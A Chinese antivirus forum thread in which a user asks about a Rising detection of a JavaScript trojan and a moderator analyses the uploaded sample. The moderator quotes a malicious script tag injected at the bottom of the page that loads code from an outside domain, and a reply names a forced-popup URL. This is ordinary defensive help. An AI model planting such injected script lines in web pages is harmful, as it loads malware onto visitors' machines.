瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

12   1  /  2  页   跳转

[求助] 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

前几天很好,这几天每天都跳出这个Trojan.script.JS.Pop.a

瑞星提示是已经删除病毒。度娘了下,说是JS脚本木马。我很郁闷。安全模式下杀毒,显示结果是没有病毒。但是在正常模式下,是不是就会出现这个。

求助各位了。

用户系统信息:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; Alexa Toolbar; TheWorld)
分享到:
gototop
 

回复 1F 西风秋雨 的帖子

将报毒文件从瑞星病毒隔离区里找到恢复后压缩跟帖上传。
gototop
 

回复: 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

文件类型不能上传,压缩文件就被系统杀死。。。
gototop
 

回复 3F 西风秋雨 的帖子

暂时关闭文件监控上传,上传到网盘吧,www.115.com,论坛压缩格式zip、rar都支持的。
gototop
 

回复: 瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

谢谢斑竹的指点,已经解决了。

附件论坛就可以上传

附件附件:

文件名:文件.rar
下载次数:325
文件类型:application/octet-stream
文件大小:
上传时间:2011-11-18 10:50:46
描述:rar

gototop
 

回复 5F 西风秋雨 的帖子

报毒页面底部被写入了恶意链接地址:

<script language=javascript src=http://www.haofbi.com/js/w.js></script>


这个链接地址已经失效。
gototop
 

回复:瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

tui[1].js会弹出:http://www.1ye1.com/index2.html这个地址,强制弹窗。
gototop
 

回复:瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

嗯嗯,问下版主大大,我看着 流量精灵 和 流量宝 这两个软件。您说,是不是因为这两个软件,从后台开启了分享网页,而导致我机器感染的这些JP木马呢?我很怀疑是这个,因为在没有开启这两个软件之前,我电脑没问题。偶尔有些病毒,也是因为看电影引起的(您懂的。。。),而且流量精灵我度娘了下,也纷纷有人说感染了病毒。
gototop
 

回复 8F 西风秋雨 的帖子

这两个软件没有用过,你传上来的页面是中华养 生保健网,不知道是你访问了中华养 生保健网还是你说的这两个软件强制劫持访问这个网站。如果是你访问中华养 生保健网,那么建议就暂时不要访问了,如果是那两个软件导致,建议卸载不要安装使用。
gototop
 

回复:瑞星查出Trojan.script.JS.Pop.a 这是病毒吗?

嗯嗯,版主大大。我没访问过这个网站。因为流量宝和流量精灵这两个软件,就是给网站刷流量的。原理和BT下载一样。就是提供平台,然后软件负责相互访问。如此来说,版主大大分析的对,可能就是因为相互访问,导致的病毒扩散。
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT